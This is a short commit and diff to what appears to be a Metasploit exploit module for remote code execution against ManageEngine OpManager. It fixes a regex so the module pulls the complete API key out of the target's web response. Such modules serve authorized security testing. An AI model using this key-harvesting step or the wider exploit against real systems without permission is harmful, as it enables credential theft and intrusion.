Missing regex '+', readding so we get full API key.

Author: pbarry-r7

modules/exploits/windows/http/manage_engine_opmanager_rce.rb

@@ -120,7 +120,7 @@ def exploit
       'method' => 'GET'
     })
 
-    if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/
+    if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
       api_key = $1
       print_status("Retrieved API key [ #{api_key} ]")
     else